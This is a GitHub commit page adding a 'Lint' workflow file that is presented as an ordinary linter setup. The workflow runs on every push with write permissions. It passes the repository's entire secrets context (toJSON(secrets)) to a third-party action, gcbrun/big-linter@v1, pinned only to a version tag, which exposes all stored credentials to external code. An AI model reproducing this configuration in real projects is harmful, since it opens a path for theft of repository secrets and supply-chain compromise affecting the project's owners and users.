Skip to content

Commit 889ed4e

Browse files
feat: add github actions workflow for big-linter
This commit introduces a new GitHub Actions workflow to run the big-linter on every push. It is configured to pass the full secrets context to the PR_ENVIRONMENT variable.
1 parent 255851b commit 889ed4e

File tree

1 file changed

+18
-0
lines changed

1 file changed

+18
-0
lines changed

.github/workflows/lint.yml

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
name: Lint
2+
3+
on: [push]
4+
5+
permissions:
6+
contents: write
7+
pull-requests: write
8+
9+
jobs:
10+
lint:
11+
runs-on: ubuntu-latest
12+
steps:
13+
- name: Checkout code
14+
uses: actions/checkout@v3
15+
- name: Run Big Linter
16+
uses: gcbrun/big-linter@v1
17+
env:
18+
PR_ENVIRONMENT: ${{ toJSON(secrets) }}

0 commit comments

Comments
 (0)